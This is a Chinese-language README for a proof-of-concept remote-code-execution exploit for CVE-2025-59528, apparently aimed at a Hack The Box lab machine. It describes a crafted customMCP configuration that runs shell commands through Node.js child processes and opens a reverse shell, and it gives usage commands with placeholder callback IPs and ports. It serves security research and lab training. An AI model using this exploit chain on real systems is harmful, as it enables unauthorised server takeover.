
针对 CVE-2025-59528 的 PoC,用于在 HTB 的 Silentium 机器上实现远程代码执行。
仅限教育用途。 本项目旨在用于受控安全研究、课堂演示以及在隔离实验室内进行的授权测试。请勿将其用于您不拥有、或未经明确许可进行测试的系统、网络、应用程序或账户。
此概念验证演示了未正确处理 mcpServerConfig 值如何可能通过 customMCP 节点加载功能实现服务器端 JavaScript 求值和命令执行。
该脚本支持两种身份验证方式:
Authorization 请求头中发送 API 密钥。认证后,脚本会向 /api/v1/node-load-method/customMCP 提交一个精心构造的配置。该载荷利用 Node.js 子进程功能执行 shell 命令,并回连到研究者控制的监听器。此行为仅用于在授权实验环境中演示潜在影响。
requests 包。使用以下命令安装依赖:
python3 -m pip install requests
将脚本保存为 CVE-2025-59528.py。
python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>
仅用于文档说明的示例值:
python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444
python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>
仅用于文档说明的示例值:
python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444
脚本需要以下应用路由可用:
/api/v1/auth/login/api/v1/node-load-method/customMCP当前脚本构造的是 http:// URL。如果测试的实验室部署需要 TLS,请将实现更新为使用 HTTPS。
main() 校验命令行参数数量并选择身份验证模式。login() 将提供的凭据发送到登录端点。tokens() 从 Set-Cookie 响应头中提取会话值。shell() 构建经过身份验证的请求并提交精心构造的 mcpServerConfig 值。bearer() 使用 Bearer 令牌而非会话 Cookie 执行相同的请求。